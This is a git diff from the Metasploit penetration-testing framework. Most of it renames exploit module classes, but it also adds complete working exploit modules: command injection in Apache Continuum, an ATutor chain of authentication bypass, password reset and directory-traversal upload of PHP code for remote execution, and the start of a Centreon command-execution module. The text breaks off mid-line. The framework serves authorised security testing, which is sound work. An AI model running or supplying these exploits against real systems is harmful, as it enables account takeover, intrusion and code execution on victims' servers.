+6,7 @@ require 'msf/core' require 'msf/core/exploit/android' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb index 1ac2e4a2b6..3440245813 100644 --- a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -8,7 +8,7 @@ require 'msf/core/exploit/fileformat' require 'msf/core/exploit/pdf' require 'msf/core/exploit/android' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb index 204bf8af5b..68d170b452 100644 --- a/modules/exploits/android/local/futex_requeue.rb +++ b/modules/exploits/android/local/futex_requeue.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index 1217a5735b..79316f8a10 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 99882d452c..25d7a2c2e1 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 2b6fdc0353..97841fc0b7 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -76,16 +77,15 @@ class Metasploit3 < Msf::Exploit::Remote def do_login(user, pass) + factory = ssh_socket_factory opts = { - :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => rport, - :disable_agent => true, - :config => false, - :password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + auth_methods: ['password', 'keyboard-interactive'], + port: rport, + use_agent: false, + config: false, + password: pass, + proxy: factory, + non_interactive: true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index 6fe5362b96..a7c3cca617 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Brute diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb index c4d398710d..7cef87bd46 100644 --- a/modules/exploits/dialup/multi/login/manyargs.rb +++ b/modules/exploits/dialup/multi/login/manyargs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Dialup diff --git a/modules/exploits/firefox/local/exec_shellcode.rb b/modules/exploits/firefox/local/exec_shellcode.rb index 043290fb83..ebd888f488 100644 --- a/modules/exploits/firefox/local/exec_shellcode.rb +++ b/modules/exploits/firefox/local/exec_shellcode.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/payload/firefox' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local include Msf::Payload::Firefox include Msf::Exploit::Remote::FirefoxPrivilegeEscalation diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index d7382725c1..9e103542ab 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 6a352d7bab..53e1d628aa 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index e16a64a85c..8756789024 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE diff --git a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb index aa6f165b1b..bca3e3b626 100644 --- a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb +++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local # It needs 3 minutes wait time # WfsDelay set to 180, so it should be a Manual exploit, # to avoid it being included in automations diff --git a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb index b204008a4a..77e8021592 100644 --- a/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb +++ b/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 56bb341327..b954027c17 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb index c2b302d0a0..d58dd31fc0 100644 --- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb +++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 033eee1c4e..3b5e5ebea2 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -9,7 +9,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Telnet diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb index 0a2b902014..c4bbe2df1b 100644 --- a/modules/exploits/hpux/lpd/cleanup_exec.rb +++ b/modules/exploits/hpux/lpd/cleanup_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index b80a21d738..e07c08159b 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb index ed93ca2559..89a500c3ea 100644 --- a/modules/exploits/linux/antivirus/escan_password_exec.rb +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb index 5e2674723a..a783d4ed8f 100644 --- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb +++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index b5c8c3d0e8..5f48bd4176 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = nil print_status("Automatically detecting the target...") - if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then + if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index 5891da9e62..fb7f6cf438 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking #include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index 569747d8a1..caa3c9a700 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb index 6640a05340..45587d7b30 100644 --- a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb +++ b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb index cfc944d929..609ad4d5e2 100644 --- a/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb +++ b/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index a64e532d2a..d8f1c3b530 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb index e3a9832d88..19557b6ae7 100644 --- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb +++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Only interactive single commands supported include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/http/alienvault_sqli_exec.rb b/modules/exploits/linux/http/alienvault_sqli_exec.rb index 0805c4f7c4..caafb37989 100644 --- a/modules/exploits/linux/http/alienvault_sqli_exec.rb +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/apache_continuum_cmd_exec.rb b/modules/exploits/linux/http/apache_continuum_cmd_exec.rb new file mode 100644 index 0000000000..dfaebf3197 --- /dev/null +++ b/modules/exploits/linux/http/apache_continuum_cmd_exec.rb @@ -0,0 +1,76 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Continuum Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a command injection in Apache Continuum <= 1.4.2. + By injecting a command into the installation.varValue POST parameter to + /continuum/saveInstallation.action, a shell can be spawned. + }, + 'Author' => [ + 'David Shanahan', # Proof of concept + 'wvu' # Metasploit module + ], + 'References' => [ + %w{EDB 39886} + ], + 'DisclosureDate' => 'Apr 6 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'Privileged' => false, + 'Targets' => [ + ['Apache Continuum <= 1.4.2', {}] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(8080) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/continuum/about.action' + ) + + if res && res.body.include?('1.4.2') + CheckCode::Appears + elsif res && res.code == 200 + CheckCode::Detected + else + CheckCode::Safe + end + end + + def exploit + print_status('Injecting CmdStager payload...') + execute_cmdstager(flavor: :bourne) + end + + def execute_command(cmd, opts = {}) + send_request_cgi( + 'method' => 'POST', + 'uri' => '/continuum/saveInstallation.action', + 'vars_post' => { + 'installation.name' => Rex::Text.rand_text_alpha(8), + 'installation.type' => 'jdk', + 'installation.varValue' => '`' + cmd + '`' + } + ) + end + +end diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index e08ec2ccf0..5199a63285 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Configuration is overwritten and service reloaded include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb new file mode 100644 index 0000000000..ef74506ef1 --- /dev/null +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -0,0 +1,360 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP + setup with display_errors set to On, which can be used to allow us to upload a malicious + ZIP file. On the web application, a blacklist verification is performed before extraction, + however it is not sufficient to prevent exploitation. + + You are required to login to the target to reach the vulnerability, however this can be + done as a student account and remote registration is enabled by default. + + Just in case remote registration isn't enabled, this module uses 2 vulnerabilities + in order to bypass the authentication: + + 1. confirm.php Authentication Bypass Type Juggling vulnerability + 2. password_reminder.php Remote Password Reset TOCTOU vulnerability + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me ', # initial discovery, msf code + ], + 'References' => + [ + [ 'URL', 'http://www.atutor.ca/' ], # Official Website + [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory + [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Mar 1 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), + OptString.new('USERNAME', [false, 'The username to authenticate as']), + OptString.new('PASSWORD', [false, 'The password to authenticate with']) + ],self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def check + # there is no real way to finger print the target so we just + # check if we can upload a zip and extract it into the web root... + # obviously not ideal, but if anyone knows better, feel free to change + if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true) + if student_cookie != nil && disclose_web_root + begin + if upload_shell(student_cookie, check=true) && found + return Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + end + else + # if we cant login, it may still be vuln + return Exploit::CheckCode::Unknown + end + else + # if no creds are supplied, it may still be vuln + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Safe + end + + def create_zip_file(check=false) + zip_file = Rex::Zip::Archive.new + @header = Rex::Text.rand_text_alpha_upper(4) + @payload_name = Rex::Text.rand_text_alpha_lower(4) + @archive_name = Rex::Text.rand_text_alpha_lower(3) + @test_string = Rex::Text.rand_text_alpha_lower(8) + # we traverse back into the webroot mods/ directory (since it will be writable) + path = "../../../../../../../../../../../../..#{@webroot}mods/" + + # we use this to give us the best chance of success. If a webserver has htaccess override enabled + # we will win. If not, we may still win because these file extensions are often registered as php + # with the webserver, thus allowing us remote code execution. + if check + zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}") + else + register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml") + zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht") + zip_file.add_file("#{path}#{@payload_name}.pht", "") + zip_file.add_file("#{path}#{@payload_name}.php4", "") + zip_file.add_file("#{path}#{@payload_name}.phtml", "") + end + zip_file.pack + end + + def found + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), + }) + if res and res.code == 200 and res.body =~ /#{@test_string}/ + return true + end + return false + end + + def disclose_web_root + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), + }) + @webroot = "/" + @webroot << $1 if res and res.body =~ /\\/(.*)jscripts\/ATutor_js\.php\<\/b\> / + if @webroot != "/" + return true + end + return false + end + + def call_php(ext) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + return res + end + + def exec_code + res = nil + res = call_php("pht") + if res == nil + res = call_php("phtml") + end + if res == nil + res = call_php("php4") + end + end + + def upload_shell(cookie, check) + post_data = Rex::MIME::Message.new + post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"") + post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"") + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie, + 'vars_get' => { + 'h' => '' + } + }) + if res && res.code == 302 && res.redirection.to_s.include?("question_db.php") + return true + end + # unknown failure... + fail_with(Failure::Unknown, "Unable to upload php code") + return false + end + + def find_user(cookie) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "users", "profile.php"), + 'cookie' => cookie, + # we need to set the agent to the same value that was in type_juggle, + # since the bypassed session is linked to the user-agent. We can then + # use that session to leak the username + 'agent' => '' + }) + username = "#{$1}" if res and res.body =~ /(.*)<\/span>/ + if username + return username + end + # else we fail, because we dont know the username to login as + fail_with(Failure::Unknown, "Unable to find the username!") + end + + def type_juggle + # high padding, means higher success rate + # also, we use numbers, so we can count requests :p + for i in 1..8 + for @number in ('0'*i..'9'*i) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "confirm.php"), + 'vars_post' => { + 'auto_login' => '', + 'code' => '0' # type juggling + }, + 'vars_get' => { + 'e' => @number, # the bruteforce + 'id' => '', + 'm' => '', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'member_id' => '1' + }, + # need to set the agent, since we are creating x number of sessions + # and then using that session to get leak the username + 'agent' => '' + }, redirect_depth = 0) # to validate a successful bypass + if res and res.code == 302 + cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + return cookie + end + end + end + # if we finish the loop and have no sauce, we cant make pasta + fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") + end + + def reset_password + # this is due to line 79 of password_reminder.php + days = (Time.now.to_i/60/60/24) + # make a semi strong password, we have to encourage security now :-> + pass = Rex::Text.rand_text_alpha(32) + hash = Rex::Text.sha1(pass) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "password_reminder.php"), + 'vars_post' => { + 'form_change' => 'true', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'id' => '1', + 'g' => days + 1, # needs to be > the number of days since epoch + 'h' => '', # not even checked! + 'form_password_hidden' => hash, # remotely reset the password + 'submit' => 'Submit' + }, + }, redirect_depth = 0) # to validate a successful bypass + + if res and res.code == 302 + return pass + end + # if we land here, the TOCTOU failed us + fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") + end + + def login(username, password, check=false) + hash = Rex::Text.sha1(Rex::Text.sha1(password)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "login.php"), + 'vars_post' => { + 'form_password_hidden' => hash, + 'form_login' => username, + 'submit' => 'Login', + 'token' => '', + }, + }) + # poor php developer practices + cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + if res && res.code == 302 + if res.redirection.to_s.include?('bounce.php?course=0') + return cookie + end + end + # auth failed if we land here, bail + unless check + fail_with(Failure::NoAccess, "Authentication failed with username #{username}") + end + return nil + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: Time.now + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + # login if needed + if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?) + report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + print_good("Logged in as #{datastore['USERNAME']}") + # else, we reset the students password via a type juggle vulnerability + else + print_status("Account details are not set, bypassing authentication...") + print_status("Triggering type juggle attack...") + student_cookie = type_juggle + print_good("Successfully bypassed the authentication in #{@number} requests !") + username = find_user(student_cookie) + print_good("Found the username: #{username} !") + password = reset_password + print_good("Successfully reset the #{username}'s account password to #{password} !") + report_cred(user: username, password: password) + student_cookie = login(username, password) + print_good("Logged in as #{username}") + end + + if disclose_web_root + print_good("Found the webroot") + # we got everything. Now onto pwnage + if upload_shell(student_cookie, false) + print_good("Zip upload successful !") + exec_code + end + end + end +end + +=begin +php.ini settings: +display_errors = On +=end diff --git a/modules/exploits/linux/http/belkin_login_bof.rb b/modules/exploits/linux/http/belkin_login_bof.rb index 7ead5ddb5a..d530c09c05 100644 --- a/modules/exploits/linux/http/belkin_login_bof.rb +++ b/modules/exploits/linux/http/belkin_login_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/centreon_sqli_exec.rb b/modules/exploits/linux/http/centreon_sqli_exec.rb index 3ed353e001..e6c17a5254 100644 --- a/modules/exploits/linux/http/centreon_sqli_exec.rb +++ b/modules/exploits/linux/http/centreon_sqli_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/linux/http/centreon_useralias_exec.rb b/modules/exploits/linux/http/centreon_useralias_exec.rb new file mode 100644 index 0000000000..eaf3624456 --- /dev/null +++ b/modules/exploits/linux/http/centreon_useralias_exec.rb @@ -0,0 +1,89 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Centreon Web Useralias Command Execution', + 'Description' => %q( + Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL + errors. This functionality can be abused for arbitrary code + execution, and can be triggered via the login screen prior to + authentication. + ), + 'Author' => + [ + 'h00die ', # module + 'Nicolas CHATELAIN ' # discovery + ], + 'References' => + [ + [ 'EDB', '39501' ] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Privileged' => false, + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 26 2016' + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + /LoginInvitVersion">
